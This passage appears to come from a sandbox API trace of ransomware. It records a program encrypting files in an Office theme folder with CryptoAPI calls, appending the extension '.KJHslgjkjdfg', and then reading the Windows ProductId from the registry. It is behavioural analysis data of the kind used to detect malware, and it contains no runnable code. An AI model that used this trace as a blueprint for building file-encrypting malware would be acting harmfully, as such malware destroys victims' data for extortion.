lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.404] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.404] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.405] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.405] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xc2ba, lpOverlapped=0x0) returned 1 [0171.442] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xc2c0, dwBufLen=0xc2c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xc2c0) returned 1 [0171.442] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.442] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xc2c0, lpOverlapped=0x0) returned 1 [0171.443] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.443] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.443] SetEndOfFile (hFile=0x12c) returned 1 [0171.446] GetProcessHeap () returned 0x990000 [0171.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.446] GetProcessHeap () returned 0x990000 [0171.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.kjhslgjkjdfg")) returned 1 [0171.448] CloseHandle (hObject=0x12c) returned 1 [0171.448] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0171.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.448] GetProcessHeap () returned 0x990000 [0171.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.449] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.449] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.449] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0171.451] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.451] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.451] GetProcessHeap () returned 0x990000 [0171.451] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.451] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.451] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.451] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.451] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.451] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.451] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.452] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.452] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.452] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.452] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.452] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x227, lpOverlapped=0x0) returned 1 [0171.452] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0171.452] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.452] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0171.453] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.453] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.453] SetEndOfFile (hFile=0x12c) returned 1 [0171.455] GetProcessHeap () returned 0x990000 [0171.455] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.455] GetProcessHeap () returned 0x990000 [0171.455] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.kjhslgjkjdfg")) returned 1 [0171.468] CloseHandle (hObject=0x12c) returned 1 [0171.468] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.469] GetProcessHeap () returned 0x990000 [0171.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.469] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.469] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.469] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.472] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.472] GetProcessHeap () returned 0x990000 [0171.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.472] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.472] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.472] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.472] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.472] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.472] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.473] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.473] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.473] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.473] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x618, lpOverlapped=0x0) returned 1 [0171.473] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x620) returned 1 [0171.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.473] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x620, lpOverlapped=0x0) returned 1 [0171.474] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.474] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.474] SetEndOfFile (hFile=0x12c) returned 1 [0171.477] GetProcessHeap () returned 0x990000 [0171.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.477] GetProcessHeap () returned 0x990000 [0171.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.479] CloseHandle (hObject=0x12c) returned 1 [0171.479] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.479] GetProcessHeap () returned 0x990000 [0171.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.479] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.480] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.482] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.482] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.482] GetProcessHeap () returned 0x990000 [0171.482] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.482] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.482] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.482] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.482] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.483] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.483] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.483] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.483] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.483] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.483] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.483] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.483] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x80f1, lpOverlapped=0x0) returned 1 [0171.485] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8100, dwBufLen=0x8100 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8100) returned 1 [0171.485] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.485] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8100, lpOverlapped=0x0) returned 1 [0171.486] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.486] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x81d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.486] SetEndOfFile (hFile=0x12c) returned 1 [0171.489] GetProcessHeap () returned 0x990000 [0171.489] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.489] GetProcessHeap () returned 0x990000 [0171.489] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.496] CloseHandle (hObject=0x12c) returned 1 [0171.496] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.496] GetProcessHeap () returned 0x990000 [0171.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.496] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.496] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.496] GetProcessHeap () returned 0x990000 [0171.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.497] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.497] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.497] GetProcessHeap () returned 0x990000 [0171.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.497] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.497] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.497] GetProcessHeap () returned 0x990000 [0171.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.497] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.497] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.497] GetProcessHeap () returned 0x990000 [0171.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.497] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.497] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.497] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.498] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.498] RegCloseKey (hKey=0x12c) returned 0x0 [0171.498] GetProcessHeap () returned 0x990000 [0171.498] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.498] GetProcessHeap () returned 0x990000 [0171.498] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.498] GetProcessHeap () returned 0x990000 [0171.498] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.498] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.498] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.498] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.498] GetEnvironmentVariableW (in: lpName="SystemDrive", 